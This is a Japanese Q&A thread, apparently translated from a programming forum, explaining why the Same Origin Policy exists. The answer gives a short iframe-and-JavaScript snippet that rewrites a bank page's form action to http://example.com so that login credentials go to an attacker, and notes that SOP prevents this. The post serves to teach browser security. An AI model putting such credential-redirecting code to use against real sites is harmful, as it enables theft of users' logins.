39

について読んだことがSame Origin Policyありますが、この問題をよりよく理解するために、SOP が停止する攻撃を示す簡単なコードを (任意の言語で) 書いていただけませんか?

SOP が登場する前に、どうして誰かを攻撃することができたのでしょうか?

4

3 に答える 3

40
<iframe id="bank" src="https://yourbank.com"></iframe>

<script>
    window.onload = function() {
        document.getElementById('bank').contentWindow.document.forms[0].action =
            'http://example.com';
    };
</script>

Javascript コードはフォームのアクション プロパティ (いわば送信先) を変更するため、フォームを送信すると、銀行ではなく私に資格情報が送信されます。

私があなたの銀行にあなたをリダイレクトする PHP スクリプトを私のサーバーにセットアップしたとしても、あなたはそれに気付かないでしょう。

同一オリジン ポリシーでは、この攻撃は不可能です。私のドメインのサイトは、銀行の Web サイトのコンテンツを読み取ったり変更したりできません。

于 2013-02-02T21:22:12.163 に答える